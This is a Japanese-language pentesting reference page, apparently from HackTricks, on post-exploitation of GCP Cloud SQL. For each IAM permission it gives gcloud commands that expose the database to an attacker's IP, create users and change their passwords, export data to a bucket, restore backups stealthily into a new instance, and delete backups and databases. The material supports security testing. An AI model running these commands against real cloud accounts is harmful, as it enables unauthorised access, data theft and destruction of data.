# GCP - Cloud SQL ポストエクスプロイテーション

{{#include ../../../banners/hacktricks-training.md}}

## Cloud SQL

Cloud SQLに関する詳細情報は、以下を確認してください:

{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
{{#endref}}

### `cloudsql.instances.update`, ( `cloudsql.instances.get`)

データベースに接続するには、**データベースポートへのアクセス**と**ユーザー名**および**パスワード**を知っているだけで、IAMの要件はありません。したがって、データベースにパブリックIPアドレスがあると仮定した場合、アクセスを取得する簡単な方法は、許可されたネットワークを更新し、**自分のIPアドレスがアクセスできるようにする**ことです。
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
**`--no-backup`**を使用して、データベースの**バックアップを中断**することも可能です。

これらが要件であるため、**`cloudsql.instances.connect`**と**`cloudsql.instances.login`**の権限が何であるかは完全にはわかりません。知っている方はPRを送ってください！

### `cloudsql.users.list`

データベースの**すべてのユーザーのリスト**を取得します：
```bash
gcloud sql users list --instance <intance-name>
```
### `cloudsql.users.create`

この権限は、**データベース内に新しいユーザーを作成する**ことを許可します：
```bash
gcloud sql users create <username> --instance <instance-name> --password <password>
```
### `cloudsql.users.update`

この権限は**データベース内のユーザーを更新**することを許可します。例えば、パスワードを変更することができます：
```bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>
```
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`

バックアップには**古い機密情報**が含まれている可能性があるため、確認することが興味深いです。\
**データベース内のバックアップを復元**します：
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
よりステルスな方法で行うには、新しいSQLインスタンスを作成し、現在稼働中のデータベースではなく、そこにデータを復元することをお勧めします。

### `cloudsql.backupRuns.delete`

この権限はバックアップを削除することを許可します：
```bash
gcloud sql backups delete <backup-id> --instance <instance-id>
```
### `cloudsql.instances.export`, `storage.objects.create`

**データベースをエクスポート**してCloud Storageバケットに保存し、そこからアクセスできるようにします:
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
### `cloudsql.instances.import`, `storage.objects.get`

**Cloud Storage バケットからデータベースをインポート**（上書き）:
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
```
### `cloudsql.databases.delete`

データベースインスタンスからデータベースを削除します:
```bash
gcloud sql databases delete <db-name> --instance <instance-id>
```
{{#include ../../../banners/hacktricks-training.md}}